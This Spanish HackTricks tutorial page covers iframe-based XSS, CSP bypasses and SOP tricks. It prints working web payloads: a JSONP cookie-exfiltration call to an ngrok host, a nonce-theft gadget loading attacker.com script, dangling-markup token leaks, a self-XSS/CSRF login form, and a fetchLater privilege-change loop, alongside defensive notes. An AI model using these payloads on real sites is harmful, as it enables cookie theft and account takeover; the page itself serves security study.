Iframes en XSS, CSP y SOP
Reading time: 12 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Iframes en XSS
Hay 3 formas de indicar el contenido de una página en un iframe:
- A través de
src
indicando una URL (la URL puede ser de origen cruzado o del mismo origen) - A través de
src
indicando el contenido usando el protocolodata:
- A través de
srcdoc
indicando el contenido
Accediendo a variables de Padre e Hijo
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
Si accedes al html anterior a través de un servidor http (como python3 -m http.server
), notarás que todos los scripts se ejecutarán (ya que no hay CSP que lo impida). el padre no podrá acceder a la variable secret
dentro de ningún iframe y solo los iframes if2 e if3 (que se consideran del mismo sitio) pueden acceder al secreto en la ventana original.
Nota cómo if4 se considera que tiene origen null
.
Iframes con CSP
tip
Por favor, nota cómo en los siguientes bypasses la respuesta a la página enmarcada no contiene ningún encabezado CSP que impida la ejecución de JS.
El valor self
de script-src
no permitirá la ejecución del código JS utilizando el protocolo data:
o el atributo srcdoc
.
Sin embargo, incluso el valor none
de la CSP permitirá la ejecución de los iframes que pongan una URL (completa o solo la ruta) en el atributo src
.
Por lo tanto, es posible eludir la CSP de una página con:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Nota cómo el CSP anterior solo permite la ejecución del script en línea.
Sin embargo, solo se van a ejecutar los scripts if1
y if2
, pero solo if1
podrá acceder al secreto del padre.
Por lo tanto, es posible eludir un CSP si puedes subir un archivo JS al servidor y cargarlo a través de un iframe incluso con script-src 'none'
. Esto potencialmente también se puede hacer abusando de un endpoint JSONP de mismo sitio.
Puedes probar esto con el siguiente escenario donde se roba una cookie incluso con script-src 'none'
. Simplemente ejecuta la aplicación y accede a ella con tu navegador:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Nuevas técnicas de bypass de CSP (2023-2025) con iframes
La comunidad de investigación continúa descubriendo formas creativas de abusar de los iframes para derrotar políticas restrictivas. A continuación, puedes encontrar las técnicas más notables publicadas durante los últimos años:
- Exfiltración de datos de markup colgante / iframe nombrado (PortSwigger 2023) – Cuando una aplicación refleja HTML pero un CSP fuerte bloquea la ejecución de scripts, aún puedes filtrar tokens sensibles inyectando un atributo
<iframe name>
colgante. Una vez que el markup parcial es analizado, el script del atacante que se ejecuta en un origen separado navega el marco aabout:blank
y leewindow.name
, que ahora contiene todo hasta el siguiente carácter de comillas (por ejemplo, un token CSRF). Debido a que no se ejecuta JavaScript en el contexto de la víctima, el ataque generalmente evadescript-src 'none'
. Un PoC mínimo es:
<!-- Punto de inyección justo antes de un <script> sensible -->
<iframe name="//attacker.com/?"> <!-- atributo intencionalmente dejado abierto -->
// marco de attacker.com
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → valor filtrado
- Robo de nonce a través de iframe de mismo origen (2024) – Los nonces de CSP no se eliminan del DOM; simplemente están ocultos en DevTools. Si un atacante puede inyectar un iframe de mismo origen (por ejemplo, subiendo HTML al sitio), el marco hijo puede simplemente consultar
document.querySelector('[nonce]').nonce
y crear nuevos nodos<script nonce>
que satisfacen la política, dando plena ejecución de JavaScript a pesar destrict-dynamic
. El siguiente gadget eleva una inyección de markup a XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Secuestro de acción de formulario (PortSwigger 2024) – Una página que omite la directiva
form-action
puede tener su formulario de inicio de sesión re-dirigido desde un iframe inyectado o HTML en línea para que los administradores de contraseñas completen automáticamente y envíen credenciales a un dominio externo, incluso cuandoscript-src 'none'
está presente. ¡Siempre complementadefault-src
conform-action
!
Notas defensivas (lista de verificación rápida)
- Siempre envía todas las directivas de CSP que controlan contextos secundarios (
form-action
,frame-src
,child-src
,object-src
, etc.). - No confíes en que los nonces sean secretos: usa
strict-dynamic
y elimina los puntos de inyección. - Cuando debas incrustar documentos no confiables, usa
sandbox="allow-scripts allow-same-origin"
con mucho cuidado (o sinallow-same-origin
si solo necesitas aislamiento de ejecución de scripts). - Considera un despliegue de defensa en profundidad COOP+COEP; el nuevo atributo
<iframe credentialless>
(§ a continuación) te permite hacerlo sin romper incrustaciones de terceros.
Otros payloads encontrados en la naturaleza
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
El contenido dentro de un iframe puede estar sujeto a restricciones adicionales mediante el uso del atributo sandbox
. Por defecto, este atributo no se aplica, lo que significa que no hay restricciones en su lugar.
Cuando se utiliza, el atributo sandbox
impone varias limitaciones:
- El contenido se trata como si proviniera de una fuente única.
- Cualquier intento de enviar formularios es bloqueado.
- La ejecución de scripts está prohibida.
- El acceso a ciertas APIs está deshabilitado.
- Evita que los enlaces interactúen con otros contextos de navegación.
- El uso de plugins a través de
<embed>
,<object>
,<applet>
, o etiquetas similares está prohibido. - Se impide que el contenido navegue por el contexto de navegación de nivel superior por sí mismo.
- Las características que se activan automáticamente, como la reproducción de video o el enfoque automático de los controles de formulario, están bloqueadas.
Tip: Los navegadores modernos soportan flags granulares como allow-scripts
, allow-same-origin
, allow-top-navigation-by-user-activation
, allow-downloads-without-user-activation
, etc. Combínalos para otorgar solo las capacidades mínimas requeridas por la aplicación incrustada.
El valor del atributo puede dejarse vacío (sandbox=""
) para aplicar todas las restricciones mencionadas anteriormente. Alternativamente, puede establecerse en una lista de valores específicos separados por espacios que eximan al iframe de ciertas restricciones.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
Iframes sin credenciales
Como se explica en este artículo, la bandera credentialless
en un iframe se utiliza para cargar una página dentro de un iframe sin enviar credenciales en la solicitud, manteniendo la misma política de origen (SOP) de la página cargada en el iframe.
Desde Chrome 110 (febrero de 2023), la función está habilitada por defecto y la especificación se está estandarizando en los navegadores bajo el nombre iframe anónimo. MDN lo describe como: “un mecanismo para cargar iframes de terceros en una nueva partición de almacenamiento efímera, de modo que no se compartan cookies, localStorage o IndexedDB con el origen real”. Consecuencias para atacantes y defensores:
- Los scripts en diferentes iframes sin credenciales aún comparten el mismo origen de nivel superior y pueden interactuar libremente a través del DOM, lo que hace que los ataques de auto-XSS en múltiples iframes sean viables (ver PoC a continuación).
- Debido a que la red está sin credenciales, cualquier solicitud dentro del iframe se comporta efectivamente como una sesión no autenticada; los puntos finales protegidos por CSRF suelen fallar, pero las páginas públicas que se pueden filtrar a través del DOM siguen estando en el alcance.
- Los pop-ups generados desde un iframe sin credenciales obtienen un
rel="noopener"
implícito, rompiendo algunos flujos de OAuth.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Ejemplo de explotación: Self-XSS + CSRF
En este ataque, el atacante prepara una página web maliciosa con 2 iframes:
- Un iframe que carga la página de la víctima con la bandera
credentialless
con un CSRF que activa un XSS (Imagina un Self-XSS en el nombre de usuario del usuario):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Otro iframe que en realidad tiene al usuario conectado (sin la bandera
credentialless
).
Luego, desde el XSS es posible acceder al otro iframe ya que tienen el mismo SOP y robar la cookie, por ejemplo, ejecutando:
alert(window.top[1].document.cookie);
fetchLater Attack
Como se indica en este artículo, la API fetchLater
permite configurar una solicitud para que se ejecute más tarde (después de un cierto tiempo). Por lo tanto, esto puede ser abusado para, por ejemplo, iniciar sesión a una víctima dentro de la sesión de un atacante (con Self-XSS), establecer una solicitud fetchLater
(para cambiar la contraseña del usuario actual, por ejemplo) y cerrar sesión de la sesión del atacante. Luego, la víctima inicia sesión en su propia sesión y la solicitud fetchLater
se ejecutará, cambiando la contraseña de la víctima a la que estableció el atacante.
De esta manera, incluso si la URL de la víctima no se puede cargar en un iframe (debido a CSP u otras restricciones), el atacante aún puede ejecutar una solicitud en la sesión de la víctima.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
Iframes en SOP
Consulta las siguientes páginas:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
Referencias
- PortSwigger Research – Usando el secuestro de formularios para eludir CSP (marzo de 2024)
- Chrome Developers – Iframe sin credenciales: Inserta fácilmente iframes en entornos COEP (feb 2023)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.